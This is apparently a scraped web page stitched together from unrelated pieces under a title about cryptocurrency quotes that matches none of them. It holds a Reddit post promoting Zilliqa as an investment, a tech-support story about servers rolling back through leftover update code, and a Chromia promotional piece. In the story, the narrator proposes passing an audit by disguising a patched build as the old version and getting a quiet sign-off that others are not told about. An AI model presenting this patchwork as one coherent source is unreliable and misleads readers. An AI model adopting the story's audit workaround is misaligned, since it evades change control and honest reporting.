10 Cryptocurrency Greatest Quotes from Famous People

Why i’m bullish on Zilliqa (long read)

Edit: TL;DR added in the comments
 
Hey all, I've been researching coins since 2017 and have gone through 100s of them in the last 3 years. I got introduced to blockchain via Bitcoin of course, analyzed Ethereum thereafter and from that moment I have a keen interest in smart contact platforms. I’m passionate about Ethereum but I find Zilliqa to have a better risk-reward ratio. Especially because Zilliqa has found an elegant balance between being secure, decentralized and scalable in my opinion.
 
Below I post my analysis of why from all the coins I went through I’m most bullish on Zilliqa (yes I went through Tezos, EOS, NEO, VeChain, Harmony, Algorand, Cardano etc.). Note that this is not investment advice and although it's a thorough analysis there is obviously some bias involved. Looking forward to what you all think!
 
Fun fact: the name Zilliqa is a play on ‘silica’ silicon dioxide which means “Silicon for the high-throughput consensus computer.”
 
This post is divided into (i) Technology, (ii) Business & Partnerships, and (iii) Marketing & Community. I’ve tried to make the technology part readable for a broad audience. If you’ve ever tried understanding the inner workings of Bitcoin and Ethereum you should be able to grasp most parts. Otherwise, just skim through and once you are zoning out head to the next part.
 
Technology and some more:
 
Introduction
 
The technology is one of the main reasons why I’m so bullish on Zilliqa. First thing you see on their website is: “Zilliqa is a high-performance, high-security blockchain platform for enterprises and next-generation applications.” These are some bold statements.
 
Before we deep dive into the technology let’s take a step back in time first as they have quite the history. The initial research paper from which Zilliqa originated dates back to August 2016: Elastico: A Secure Sharding Protocol For Open Blockchains where Loi Luu (Kyber Network) is one of the co-authors. Other ideas that led to the development of what Zilliqa has become today are: Bitcoin-NG, collective signing CoSi, ByzCoin and Omniledger.
 
The technical white paper was made public in August 2017 and since then they have achieved everything stated in the white paper and also created their own open source intermediate level smart contract language called Scilla (functional programming language similar to OCaml) too.
 
Mainnet is live since the end of January 2019 with daily transaction rates growing continuously. About a week ago mainnet reached 5 million transactions, 500.000+ addresses in total along with 2400 nodes keeping the network decentralized and secure. Circulating supply is nearing 11 billion and currently only mining rewards are left. The maximum supply is 21 billion with annual inflation being 7.13% currently and will only decrease with time.
 
Zilliqa realized early on that the usage of public cryptocurrencies and smart contracts were increasing but decentralized, secure, and scalable alternatives were lacking in the crypto space. They proposed to apply sharding onto a public smart contract blockchain where the transaction rate increases almost linear with the increase in the amount of nodes. More nodes = higher transaction throughput and increased decentralization. Sharding comes in many forms and Zilliqa uses network-, transaction- and computational sharding. Network sharding opens up the possibility of using transaction- and computational sharding on top. Zilliqa does not use state sharding for now. We’ll come back to this later.
 
Before we continue dissecting how Zilliqa achieves such from a technological standpoint it’s good to keep in mind that a blockchain being decentralised and secure and scalable is still one of the main hurdles in allowing widespread usage of decentralised networks. In my opinion this needs to be solved first before blockchains can get to the point where they can create and add large scale value. So I invite you to read the next section to grasp the underlying fundamentals. Because after all these premises need to be true otherwise there isn’t a fundamental case to be bullish on Zilliqa, right?
 
Down the rabbit hole
 
How have they achieved this? Let’s define the basics first: key players on Zilliqa are the users and the miners. A user is anybody who uses the blockchain to transfer funds or run smart contracts. Miners are the (shard) nodes in the network who run the consensus protocol and get rewarded for their service in Zillings (ZIL). The mining network is divided into several smaller networks called shards, which is also referred to as ‘network sharding’. Miners subsequently are randomly assigned to a shard by another set of miners called DS (Directory Service) nodes. The regular shards process transactions and the outputs of these shards are eventually combined by the DS shard as they reach consensus on the final state. More on how these DS shards reach consensus (via pBFT) will be explained later on.
 
The Zilliqa network produces two types of blocks: DS blocks and Tx blocks. One DS Block consists of 100 Tx Blocks. And as previously mentioned there are two types of nodes concerned with reaching consensus: shard nodes and DS nodes. Becoming a shard node or DS node is being defined by the result of a PoW cycle (Ethash) at the beginning of the DS Block. All candidate mining nodes compete with each other and run the PoW (Proof-of-Work) cycle for 60 seconds and the submissions achieving the highest difficulty will be allowed on the network. And to put it in perspective: the average difficulty for one DS node is ~ 2 Th/s equaling 2.000.000 Mh/s or 55 thousand+ GeForce GTX 1070 / 8 GB GPUs at 35.4 Mh/s. Each DS Block 10 new DS nodes are allowed. And a shard node needs to provide around 8.53 GH/s currently (around 240 GTX 1070s). Dual mining ETH/ETC and ZIL is possible and can be done via mining software such as Phoenix and Claymore. There are pools and if you have large amounts of hashing power (Ethash) available you could mine solo.
 
The PoW cycle of 60 seconds is a peak performance and acts as an entry ticket to the network. The entry ticket is called a sybil resistance mechanism and makes it incredibly hard for adversaries to spawn lots of identities and manipulate the network with these identities. And after every 100 Tx Blocks which corresponds to roughly 1,5 hour this PoW process repeats. In between these 1,5 hour, no PoW needs to be done meaning Zilliqa’s energy consumption to keep the network secure is low. For more detailed information on how mining works click here.
Okay, hats off to you. You have made it this far. Before we go any deeper down the rabbit hole we first must understand why Zilliqa goes through all of the above technicalities and understand a bit more what a blockchain on a more fundamental level is. Because the core of Zilliqa’s consensus protocol relies on the usage of pBFT (practical Byzantine Fault Tolerance) we need to know more about state machines and their function. Navigate to Viewblock, a Zilliqa block explorer, and just come back to this article. We will use this site to navigate through a few concepts.
 
We have established that Zilliqa is a public and distributed blockchain. Meaning that everyone with an internet connection can send ZILs, trigger smart contracts, etc. and there is no central authority who fully controls the network. Zilliqa and other public and distributed blockchains (like Bitcoin and Ethereum) can also be defined as state machines.
 
Taking the liberty of paraphrasing examples and definitions given by Samuel Brooks’ medium article, he describes the definition of a blockchain (like Zilliqa) as: “A peer-to-peer, append-only datastore that uses consensus to synchronize cryptographically-secure data”.
 
Next, he states that: "blockchains are fundamentally systems for managing valid state transitions”. For some more context, I recommend reading the whole medium article to get a better grasp of the definitions and understanding of state machines. Nevertheless, let’s try to simplify and compile it into a single paragraph. Take traffic lights as an example: all its states (red, amber, and green) are predefined, all possible outcomes are known and it doesn’t matter if you encounter the traffic light today or tomorrow. It will still behave the same. Managing the states of a traffic light can be done by triggering a sensor on the road or pushing a button resulting in one traffic lights’ state going from green to red (via amber) and another light from red to green.
 
With public blockchains like Zilliqa, this isn’t so straightforward and simple. It started with block #1 almost 1,5 years ago and every 45 seconds or so a new block linked to the previous block is being added. Resulting in a chain of blocks with transactions in it that everyone can verify from block #1 to the current #647.000+ block. The state is ever changing and the states it can find itself in are infinite. And while the traffic light might work together in tandem with various other traffic lights, it’s rather insignificant comparing it to a public blockchain. Because Zilliqa consists of 2400 nodes who need to work together to achieve consensus on what the latest valid state is while some of these nodes may have latency or broadcast issues, drop offline or are deliberately trying to attack the network, etc.
 
Now go back to the Viewblock page take a look at the amount of transaction, addresses, block and DS height and then hit refresh. Obviously as expected you see new incremented values on one or all parameters. And how did the Zilliqa blockchain manage to transition from a previous valid state to the latest valid state? By using pBFT to reach consensus on the latest valid state.
 
After having obtained the entry ticket, miners execute pBFT to reach consensus on the ever-changing state of the blockchain. pBFT requires a series of network communication between nodes, and as such there is no GPU involved (but CPU). Resulting in the total energy consumed to keep the blockchain secure, decentralized and scalable being low.
 
pBFT stands for practical Byzantine Fault Tolerance and is an optimization on the Byzantine Fault Tolerant algorithm. To quote Blockonomi: “In the context of distributed systems, Byzantine Fault Tolerance is the ability of a distributed computer network to function as desired and correctly reach a sufficient consensus despite malicious components (nodes) of the system failing or propagating incorrect information to other peers.” Zilliqa is such a distributed computer network and depends on the honesty of the nodes (shard and DS) to reach consensus and to continuously update the state with the latest block. If pBFT is a new term for you I can highly recommend the Blockonomi article.
 
The idea of pBFT was introduced in 1999 - one of the authors even won a Turing award for it - and it is well researched and applied in various blockchains and distributed systems nowadays. If you want more advanced information than the Blockonomi link provides click here. And if you’re in between Blockonomi and the University of Singapore read the Zilliqa Design Story Part 2 dating from October 2017.
Quoting from the Zilliqa tech whitepaper: “pBFT relies upon a correct leader (which is randomly selected) to begin each phase and proceed when the sufficient majority exists. In case the leader is byzantine it can stall the entire consensus protocol. To address this challenge, pBFT offers a view change protocol to replace the byzantine leader with another one.”
 
pBFT can tolerate ⅓ of the nodes being dishonest (offline counts as Byzantine = dishonest) and the consensus protocol will function without stalling or hiccups. Once there are more than ⅓ of dishonest nodes but no more than ⅔ the network will be stalled and a view change will be triggered to elect a new DS leader. Only when more than ⅔ of the nodes are dishonest (66%) double-spend attacks become possible.
 
If the network stalls no transactions can be processed and one has to wait until a new honest leader has been elected. When the mainnet was just launched and in its early phases, view changes happened regularly. As of today the last stalling of the network - and view change being triggered - was at the end of October 2019.
 
Another benefit of using pBFT for consensus besides low energy is the immediate finality it provides. Once your transaction is included in a block and the block is added to the chain it’s done. Lastly, take a look at this article where three types of finality are being defined: probabilistic, absolute and economic finality. Zilliqa falls under the absolute finality (just like Tendermint for example). Although lengthy already we skipped through some of the inner workings from Zilliqa’s consensus: read the Zilliqa Design Story Part 3 and you will be close to having a complete picture on it. Enough about PoW, sybil resistance mechanism, pBFT, etc. Another thing we haven’t looked at yet is the amount of decentralization.
 
Decentralisation
 
Currently, there are four shards, each one of them consisting of 600 nodes. 1 shard with 600 so-called DS nodes (Directory Service - they need to achieve a higher difficulty than shard nodes) and 1800 shard nodes of which 250 are shard guards (centralized nodes controlled by the team). The amount of shard guards has been steadily declining from 1200 in January 2019 to 250 as of May 2020. On the Viewblock statistics, you can see that many of the nodes are being located in the US but those are only the (CPU parts of the) shard nodes who perform pBFT. There is no data from where the PoW sources are coming. And when the Zilliqa blockchain starts reaching its transaction capacity limit, a network upgrade needs to be executed to lift the current cap of maximum 2400 nodes to allow more nodes and formation of more shards which will allow to network to keep on scaling according to demand.
Besides shard nodes there are also seed nodes. The main role of seed nodes is to serve as direct access points (for end-users and clients) to the core Zilliqa network that validates transactions. Seed nodes consolidate transaction requests and forward these to the lookup nodes (another type of nodes) for distribution to the shards in the network. Seed nodes also maintain the entire transaction history and the global state of the blockchain which is needed to provide services such as block explorers. Seed nodes in the Zilliqa network are comparable to Infura on Ethereum.
 
The seed nodes were first only operated by Zilliqa themselves, exchanges and Viewblock. Operators of seed nodes like exchanges had no incentive to open them for the greater public. They were centralised at first. Decentralisation at the seed nodes level has been steadily rolled out since March 2020 ( Zilliqa Improvement Proposal 3 ). Currently the amount of seed nodes is being increased, they are public-facing and at the same time PoS is applied to incentivize seed node operators and make it possible for ZIL holders to stake and earn passive yields. Important distinction: seed nodes are not involved with consensus! That is still PoW as entry ticket and pBFT for the actual consensus.
 
5% of the block rewards are being assigned to seed nodes (from the beginning in 2019) and those are being used to pay out ZIL stakers. The 5% block rewards with an annual yield of 10.03% translate to roughly 610 MM ZILs in total that can be staked. Exchanges use the custodial variant of staking and wallets like Moonlet will use the non-custodial version (starting in Q3 2020). Staking is being done by sending ZILs to a smart contract created by Zilliqa and audited by Quantstamp.
 
With a high amount of DS; shard nodes and seed nodes becoming more decentralized too, Zilliqa qualifies for the label of decentralized in my opinion.
 
Smart contracts
 
Let me start by saying I’m not a developer and my programming skills are quite limited. So I‘m taking the ELI5 route (maybe 12) but if you are familiar with Javascript, Solidity or specifically OCaml please head straight to Scilla - read the docs to get a good initial grasp of how Zilliqa’s smart contract language Scilla works and if you ask yourself “why another programming language?” check this article. And if you want to play around with some sample contracts in an IDE click here. The faucet can be found here. And more information on architecture, dapp development and API can be found on the Developer Portal.
If you are more into listening and watching: check this recent webinar explaining Zilliqa and Scilla. Link is time-stamped so you’ll start right away with a platform introduction, roadmap 2020 and afterwards a proper Scilla introduction.
 
Generalized: programming languages can be divided into being ‘object-oriented’ or ‘functional’. Here is an ELI5 given by software development academy: * “all programs have two basic components, data – what the program knows – and behavior – what the program can do with that data. So object-oriented programming states that combining data and related behaviors in one place, is called “object”, which makes it easier to understand how a particular program works. On the other hand, functional programming argues that data and behavior are different things and should be separated to ensure their clarity.” *
 
Scilla is on the functional side and shares similarities with OCaml: OCaml is a general-purpose programming language with an emphasis on expressiveness and safety. It has an advanced type system that helps catch your mistakes without getting in your way. It's used in environments where a single mistake can cost millions and speed matters, is supported by an active community, and has a rich set of libraries and development tools. For all its power, OCaml is also pretty simple, which is one reason it's often used as a teaching language.
 
Scilla is blockchain agnostic, can be implemented onto other blockchains as well, is recognized by academics and won a so-called Distinguished Artifact Award award at the end of last year.
 
One of the reasons why the Zilliqa team decided to create their own programming language focused on preventing smart contract vulnerabilities is that adding logic on a blockchain, programming, means that you cannot afford to make mistakes. Otherwise, it could cost you. It’s all great and fun blockchains being immutable but updating your code because you found a bug isn’t the same as with a regular web application for example. And with smart contracts, it inherently involves cryptocurrencies in some form thus value.
 
Another difference with programming languages on a blockchain is gas. Every transaction you do on a smart contract platform like Zilliqa or Ethereum costs gas. With gas you basically pay for computational costs. Sending a ZIL from address A to address B costs 0.001 ZIL currently. Smart contracts are more complex, often involve various functions and require more gas (if gas is a new concept click here ).
 
So with Scilla, similar to Solidity, you need to make sure that “every function in your smart contract will run as expected without hitting gas limits. An improper resource analysis may lead to situations where funds may get stuck simply because a part of the smart contract code cannot be executed due to gas limits. Such constraints are not present in traditional software systems”. Scilla design story part 1
 
Some examples of smart contract issues you’d want to avoid are: leaking funds, ‘unexpected changes to critical state variables’ (example: someone other than you setting his or her address as the owner of the smart contract after creation) or simply killing a contract.
 
Scilla also allows for formal verification. Wikipedia to the rescue: In the context of hardware and software systems, formal verification is the act of proving or disproving the correctness of intended algorithms underlying a system with respect to a certain formal specification or property, using formal methods of mathematics.
 
Formal verification can be helpful in proving the correctness of systems such as: cryptographic protocols, combinational circuits, digital circuits with internal memory, and software expressed as source code.
 
Scilla is being developed hand-in-hand with formalization of its semantics and its embedding into the Coq proof assistant — a state-of-the art tool for mechanized proofs about properties of programs.”
 
Simply put, with Scilla and accompanying tooling developers can be mathematically sure and proof that the smart contract they’ve written does what he or she intends it to do.
 
Smart contract on a sharded environment and state sharding
 
There is one more topic I’d like to touch on: smart contract execution in a sharded environment (and what is the effect of state sharding). This is a complex topic. I’m not able to explain it any easier than what is posted here. But I will try to compress the post into something easy to digest.
 
Earlier on we have established that Zilliqa can process transactions in parallel due to network sharding. This is where the linear scalability comes from. We can define simple transactions: a transaction from address A to B (Category 1), a transaction where a user interacts with one smart contract (Category 2) and the most complex ones where triggering a transaction results in multiple smart contracts being involved (Category 3). The shards are able to process transactions on their own without interference of the other shards. With Category 1 transactions that is doable, with Category 2 transactions sometimes if that address is in the same shard as the smart contract but with Category 3 you definitely need communication between the shards. Solving that requires to make a set of communication rules the protocol needs to follow in order to process all transactions in a generalised fashion.
 
And this is where the downsides of state sharding comes in currently. All shards in Zilliqa have access to the complete state. Yes the state size (0.1 GB at the moment) grows and all of the nodes need to store it but it also means that they don’t need to shop around for information available on other shards. Requiring more communication and adding more complexity. Computer science knowledge and/or developer knowledge required links if you want to dig further: Scilla - language grammar Scilla - Foundations for Verifiable Decentralised Computations on a Blockchain Gas Accounting NUS x Zilliqa: Smart contract language workshop
 
Easier to follow links on programming Scilla https://learnscilla.com/home Ivan on Tech
 
Roadmap / Zilliqa 2.0
 
There is no strict defined roadmap but here are topics being worked on. And via the Zilliqa website there is also more information on the projects they are working on.
 
Business & Partnerships
 
It’s not only technology in which Zilliqa seems to be excelling as their ecosystem has been expanding and starting to grow rapidly. The project is on a mission to provide OpenFinance (OpFi) to the world and Singapore is the right place to be due to its progressive regulations and futuristic thinking. Singapore has taken a proactive approach towards cryptocurrencies by introducing the Payment Services Act 2019 (PS Act). Among other things, the PS Act will regulate intermediaries dealing with certain cryptocurrencies, with a particular focus on consumer protection and anti-money laundering. It will also provide a stable regulatory licensing and operating framework for cryptocurrency entities, effectively covering all crypto businesses and exchanges based in Singapore. According to PWC 82% of the surveyed executives in Singapore reported blockchain initiatives underway and 13% of them have already brought the initiatives live to the market. There is also an increasing list of organizations that are starting to provide digital payment services. Moreover, Singaporean blockchain developers Building Cities Beyond has recently created an innovation $15 million grant to encourage development on its ecosystem. This all suggests that Singapore tries to position itself as (one of) the leading blockchain hubs in the world.
 
Zilliqa seems to already take advantage of this and recently helped launch Hg Exchange on their platform, together with financial institutions PhillipCapital, PrimePartners and Fundnel. Hg Exchange, which is now approved by the Monetary Authority of Singapore (MAS), uses smart contracts to represent digital assets. Through Hg Exchange financial institutions worldwide can use Zilliqa's safe-by-design smart contracts to enable the trading of private equities. For example, think of companies such as Grab, Airbnb, SpaceX that are not available for public trading right now. Hg Exchange will allow investors to buy shares of private companies & unicorns and capture their value before an IPO. Anquan, the main company behind Zilliqa, has also recently announced that they became a partner and shareholder in TEN31 Bank, which is a fully regulated bank allowing for tokenization of assets and is aiming to bridge the gap between conventional banking and the blockchain world. If STOs, the tokenization of assets, and equity trading will continue to increase, then Zilliqa’s public blockchain would be the ideal candidate due to its strategic positioning, partnerships, regulatory compliance and the technology that is being built on top of it.
 
What is also very encouraging is their focus on banking the un(der)banked. They are launching a stablecoin basket starting with XSGD. As many of you know, stablecoins are currently mostly used for trading. However, Zilliqa is actively trying to broaden the use case of stablecoins. I recommend everybody to read this text that Amrit Kumar wrote (one of the co-founders). These stablecoins will be integrated in the traditional markets and bridge the gap between the crypto world and the traditional world. This could potentially revolutionize and legitimise the crypto space if retailers and companies will for example start to use stablecoins for payments or remittances, instead of it solely being used for trading.
 
Zilliqa also released their DeFi strategic roadmap (dating November 2019) which seems to be aligning well with their OpFi strategy. A non-custodial DEX is coming to Zilliqa made by Switcheo which allows cross-chain trading (atomic swaps) between ETH, EOS and ZIL based tokens. They also signed a Memorandum of Understanding for a (soon to be announced) USD stablecoin. And as Zilliqa is all about regulations and being compliant, I’m speculating on it to be a regulated USD stablecoin. Furthermore, XSGD is already created and visible on block explorer and XIDR (Indonesian Stablecoin) is also coming soon via StraitsX. Here also an overview of the Tech Stack for Financial Applications from September 2019. Further quoting Amrit Kumar on this:
 
There are two basic building blocks in DeFi/OpFi though: 1) stablecoins as you need a non-volatile currency to get access to this market and 2) a dex to be able to trade all these financial assets. The rest are built on top of these blocks.
 
So far, together with our partners and community, we have worked on developing these building blocks with XSGD as a stablecoin. We are working on bringing a USD-backed stablecoin as well. We will soon have a decentralised exchange developed by Switcheo. And with HGX going live, we are also venturing into the tokenization space. More to come in the future.”
 
Additionally, they also have this ZILHive initiative that injects capital into projects. There have been already 6 waves of various teams working on infrastructure, innovation and research, and they are not from ASEAN or Singapore only but global: see Grantees breakdown by country. Over 60 project teams from over 20 countries have contributed to Zilliqa's ecosystem. This includes individuals and teams developing wallets, explorers, developer toolkits, smart contract testing frameworks, dapps, etc. As some of you may know, Unstoppable Domains (UD) blew up when they launched on Zilliqa. UD aims to replace cryptocurrency addresses with a human-readable name and allows for uncensorable websites. Zilliqa will probably be the only one able to handle all these transactions onchain due to ability to scale and its resulting low fees which is why the UD team launched this on Zilliqa in the first place. Furthermore, Zilliqa also has a strong emphasis on security, compliance, and privacy, which is why they partnered with companies like Elliptic, ChainSecurity (part of PwC Switzerland), and Incognito. Their sister company Aqilliz (Zilliqa spelled backwards) focuses on revolutionizing the digital advertising space and is doing interesting things like using Zilliqa to track outdoor digital ads with companies like Foodpanda.
 
Zilliqa is listed on nearly all major exchanges, having several different fiat-gateways and recently have been added to Binance’s margin trading and futures trading with really good volume. They also have a very impressive team with good credentials and experience. They don't just have “tech people”. They have a mix of tech people, business people, marketeers, scientists, and more. Naturally, it's good to have a mix of people with different skill sets if you work in the crypto space.
 
Marketing & Community
 
Zilliqa has a very strong community. If you just follow their Twitter their engagement is much higher for a coin that has approximately 80k followers. They also have been ‘coin of the day’ by LunarCrush many times. LunarCrush tracks real-time cryptocurrency value and social data. According to their data, it seems Zilliqa has a more fundamental and deeper understanding of marketing and community engagement than almost all other coins. While almost all coins have been a bit frozen in the last months, Zilliqa seems to be on its own bull run. It was somewhere in the 100s a few months ago and is currently ranked #46 on CoinGecko. Their official Telegram also has over 20k people and is very active, and their community channel which is over 7k now is more active and larger than many other official channels. Their local communities also seem to be growing.
 
Moreover, their community started ‘Zillacracy’ together with the Zilliqa core team ( see www.zillacracy.com ). It’s a community-run initiative where people from all over the world are now helping with marketing and development on Zilliqa. Since its launch in February 2020 they have been doing a lot and will also run their own non-custodial seed node for staking. This seed node will also allow them to start generating revenue for them to become a self sustaining entity that could potentially scale up to become a decentralized company working in parallel with the Zilliqa core team. Comparing it to all the other smart contract platforms (e.g. Cardano, EOS, Tezos etc.) they don't seem to have started a similar initiative (correct me if I’m wrong though). This suggests in my opinion that these other smart contract platforms do not fully understand how to utilize the ‘power of the community’. This is something you cannot ‘buy with money’ and gives many projects in the space a disadvantage.
 
Zilliqa also released two social products called SocialPay and Zeeves. SocialPay allows users to earn ZILs while tweeting with a specific hashtag. They have recently used it in partnership with the Singapore Red Cross for a marketing campaign after their initial pilot program. It seems like a very valuable social product with a good use case. I can see a lot of traditional companies entering the space through this product, which they seem to suggest will happen. Tokenizing hashtags with smart contracts to get network effect is a very smart and innovative idea.
 
Regarding Zeeves, this is a tipping bot for Telegram. They already have 1000s of signups and they plan to keep upgrading it for more and more people to use it (e.g. they recently have added a quiz features). They also use it during AMAs to reward people in real-time. It’s a very smart approach to grow their communities and get familiar with ZIL. I can see this becoming very big on Telegram. This tool suggests, again, that the Zilliqa team has a deeper understanding of what the crypto space and community needs and is good at finding the right innovative tools to grow and scale.
 
To be honest, I haven’t covered everything (i’m also reaching the character limited haha). So many updates happening lately that it's hard to keep up, such as the International Monetary Fund mentioning Zilliqa in their report, custodial and non-custodial Staking, Binance Margin, Futures, Widget, entering the Indian market, and more. The Head of Marketing Colin Miles has also released this as an overview of what is coming next. And last but not least, Vitalik Buterin has been mentioning Zilliqa lately acknowledging Zilliqa and mentioning that both projects have a lot of room to grow. There is much more info of course and a good part of it has been served to you on a silver platter. I invite you to continue researching by yourself :-) And if you have any comments or questions please post here!
submitted by haveyouheardaboutit to CryptoCurrency [link] [comments]

Bad Architecture, part 3, digging deeper...

Part 1 Part 2
I'm at $BigClient, which is taking a Citroen like approach to infrastructure and operations. "We recognize that the McPherson strut is simple, efficient, good enough for most use cases and accepted by everyone in the industry, but we shall do it with hydraulic fluid at high pressure. What could go wrong?"
Except $BigClient's far away from a competent Citroen shop. $BigClient's Citroen has gone through a few years of 'just keep it running on the cheap' upkeep without access to factory parts.
I've got an odd patching problem on a handful of servers. Systems are rolling back to insecure versions (2.0.2 ->1.4.6) and nobody knows why.
Or at least, nobody's talking.
I don't know what to do yet, so I decide to go and get lunch. I work out the possibilities.
  1. There's something wrong with our validation procedure- they're actually patched and we're reading the wrong thing.
  2. There's something or someone else downgrading these systems.
Number 1 requires more documentation, which $BC doesn't seem to want to show me. Number two might be hiding in logs, which are emailed to me on a regular basis.
I walk back to my cubicle, grab my laptop and a notebook and find a quiet corner to figure things out. I find one in a tiny conference room.
I read through my emails and search for any of the logs from the api servers.
I spend about ten minutes on Stack Exchange for the appropriate sed, awk, tee and cat munging to pare them down to what I want. Eventually I dump them all to Excel, because I am a bad person.
Some filtering and I can see what's going on. The system orchestration updates each server every other midnight. I see about three quarters of them download the 2.0.2 version as a part of the night's update.
Every two nights a (seemingly) random selection of servers updates. I scribble the order on the conference room whiteboard and stare at them for a few minutes.
Nothing in the orchestration system logs shows another process loading the older 1.4.6. version. But something is.
Nothing in the logs emailed to me obviously points to another process.
I take a walk to get a coffee and think. Nothing comes to me and I have to scour the kitchen for unflavored coffee. I walk back to my conference room to find an intern-like person.
me:"Hey, I apologize. I didn't know the room was reserved. I'll take my stuff."
Other person:"That's ok. Are you Rob?"
me:"Nope, sorry"
I take my stuff and make my way back to my cubicle.
A few minutes searching leads me to a shared root password for the servers stored in the password vault.
I login to one of the remaining servers running 2.0.2 and look at the running processes. Nothing obvious like "random updater".
I'm stumped.
I lean back and stare at nothing in particular trying to come up with some ideas.
Unfortunately, it's fairly packed and I'm next to a bullpen.
Voice 1:"So the Sky Caps put blotter in the vat without telling anyone"
Voice 2:"Hilton Honors kicks' Marriott Bonvoy's ass any day."
Voice 3:"No, I'll pick her up at 4"
The voices wash over me in some clip reel workplace sitcom haze. I'm not going to get anything done. I take a walk around the offices to get the lay of the land. It's a Hanna-Barbera cartoon of grey cubefarms, tan breakrooms, free coffee but no snacks. The only attempts at color are people's cubicles. Family pictures, shirtless men with fish, desk toys and action figures. It's like a mall- everything's pleasant, non threatening and in identically-sized stalls, with colorful (but bounded) individuality, all for commerce.
Then I find the Hot Topic meets Successories manifesting in a cubicle. There are two dorm-room sized posters of the gold Bitcoin-coin, along with framed inspirational quotes about success and perserverance set against pictures of Game Of Thrones characters and muscle-bound men in insignia-less camo. A new leather jacket with an embroidered skull is on the back of the chair. This person is either a hoot or insufferable.
I keep walking. I have a breakthrough.
Where are the API servers getting the older version to install? Maybe that'll lead me into the library. I'm not yet Adso, but perhaps I'm one of the other ,lesser scribes copying my book and scribbling fanciful drawings of the things I miss, like decent coffee and a cell-mate that doesn't snore.
I walk back to my cubicle. A different intern-shaped person is in the conference room, all alone.
I can't save them. Eventually they'll be standing in the corner of their cubicle looking away while the middle manager cleans out the rest of their team.
I'm in my seat. Some searching results in a few possible repositories. Some more searching finds me the one repo that still has v1.4.6 of this application.
Just to make sure, I compare a downloaded copy of v1.4.6 and the installed version of v 1.4.6 on one of the servers.
I search all the folders and files for the URL of the repo server and find it.
In the application itself. The server waits every two days and looks to the repo. If the installed version is not equal to v 1.4.6, it downloads v 1.4.6 from the server and installs it, then forces a restart.
This code is commented out (made non-executable) along with an actual comment:
/REMOVE BEFORE PRODUCTION
I quickly scan through the API servers to find one of the ones still running 2.0.2. I search for the term "REMOVE BEFORE PRODUCTION"
And there it is, in the application code.
Except it's not commented out.
In a text editor, I write up my findings, conclusion and a recommended fix- delete the upgrade code snippet, increment to 2.0.3, push it out using the orchestration tool and call it a day.
LC Chat won't let me attach my text file, so I breathlessly LC Chat my document, line by line at Vincent, the poor bastard tasked with closing audit finding 162, the mystery of the random rollback.
Vincent:...
Clearly, Vincent is choosing his congratulatory language carefully.
Vincent:"Can't apply the fix. The application is owned by Development. They're behind on other things, so they won't update the software until next quarter."
me:"It's about thirty lines of code we can comment out"
Vincent:"Can we say it's fixed for the audit since we know what the problem is?"
me:"No. We can patch it, or we could write up a remediation plan and get it on some schedule."
me:"But that's more paperwork than the actual fix."
Vincent:"But Ops isn't on good terms with Development."
me:"So they're not going to touch it any time soon."
Vincent:"Probably not"
me:You guys own that repo server, too"
Vincent:"I don't see how that's good for anything"
me:"We cut out the update code in 2.0.2 and call it 2.0.3. We name the file 1.4.6 and replace the existing 1.4.6 on the repo server. Either the app gets updated via your orchestration server or it updates itself. We're fixed in two days either way.
Vincent:"But policy requires that we get approval"
me:"There's an exception, if you have a superior in Operations to sign off, you can call it an emergency fix. Ask Trevor. He just needs to not tell anyone else. You submit the ticket and eventually the devs will get to it and fix the problem for good. Until then, you pass that part of the audit."
Vincent tells me he's going to talk to Trevor. I'm going to take a walk. Out of curiosity, I go back to the Hot Topic cubicle to get a look at its occupant.
The jacket is gone and the monitors are off. Mystery person has left for the day, I assume. I look at the large jars of nutritional supplements with macho names- Gorilla Rage, LumberJacked, Psycho Focus".
I notice the name-plate on the outside of the cubicle.
Oh, no.
Ian.
To Be Continued...
edit- made modifications to satisfy Internal Audit 8-)
submitted by lawtechie to talesfromtechsupport [link] [comments]

Chromia - Blockchain of Blockchains That Has Staged To Revolutionize Decentralized Application Development

Blockchain has taken the world by storm. The tech may have been envisioned to power decentralized finance in Bitcoin, it's potential and use case had far exceeded such identity.
It has opened the possibility to develop trust and openness in a way that has never been expressed before.
However, like any new development, blockchain has many challenges that need to be addressed.
Firstly, existing protocols that power the initial set of blockchains are too slow to garner advanced real-world usage.
Their architectural build also implies they are unable to scale accordingly to meet application and usage demand.
Blockchains are renowned for their strong security and immutability, nonetheless, these factors rely solely on the type of protocol or consensus adopted, and in many cases, the consensus of a particular blockchain may fail to establish a secured environment that could be relied upon under factual circumstances.
On the developer end, developing and building blockchain applications is a nightmare many wanted to escape because most integrated blockchain programming languages are new with an unestablished root. This means programmers have to learn a new language from basics before they can start building on a blockchain network.
The hardest part is that almost each of every type and brand of blockchain has its unique programming language which as a result contributes to non-interoperability that led to a status quo of blockchains being called an "island of self-isolation".
An obvious solution to most of the aforementioned downsides is to start restructuring how blockchains are made by design and code.
The good news is that a blockchain project with a new root has already achieved the feat of addressing most of these problems by building a relational blockchain system governed by a management system termed "Postchain".
I am talking about Chromia blockchain network built by the ChromaWay development team.
Chromia
Chromia is a public blockchain with a relational database system build and design. What this means is that data can be structured and defined in any way by the builder of the system. This flexibility of data management allows for different usage scenarios.
This is a sweet pot for developers but what is more interesting is the ability to code and deploy applications in a seamless manner.
Chroma uses Postchain to oversee the operation of its blockchain network in conjunction with a flexible and easy-to-code programming language called RELL (Relational Language).
Great protocol design? Thumb up! Nice programming language... Interesting! But what about other challenges mentioned in the opening part of the post?
Hell yeah! A blockchain system cannot be duly considered if it can't scale and operate at a good speed.
Chromia takes this factor to heart and ensures its network is able to process transactions at a block rate of 2 seconds, which is more than enough to support most applications and commercial usage.
Blockchain Of Blockchains: Chromia Modular Configuration
One method spam is avoided on blockchain networks is through integrated fee structure, most times, this is charged directly from users. However, Chromia thinks this idea should be rewritten by instead charging Dapps directly for the operation they perform.
Consequently, and since most application usage differs from one type to another. This and many other implementations led to a modular blockchain design where each Dapp can reside on its own chain, dictate its own rule and usage and intended fee structure.
The Dapps in this case acts like side chains that are attached to the governing Chromia infrastructure. Each Dapp or side chain is independent but benefits from the security and laid facilities of the network.
Chromia adopted PBFT consensus to ensure consensus can be achieved under certain rules even if some node in the network cannot be relied upon at a time, thus, eliminating incidents such as 'one point of failure'.
An Infrastructure For A Wide Range Of Usage Scenario
Chromia launched its main net in Dec 2019, and moved from an experimental position to prove their dedication towards achieving their vision not just on paper but as a practical and working process.
Ever since their main net launch. The chain has seen different types of apps deploy on its network.
The network relational design also means Dapps with huge computational demand can work efficiently and seamlessly with any cause to worry.
Let's look at some of these Dapps.
Chromunity
A decentralized social media platform that leverages the advantage of the relational computational build of Chromia to bring about fantastic social and community user experience.
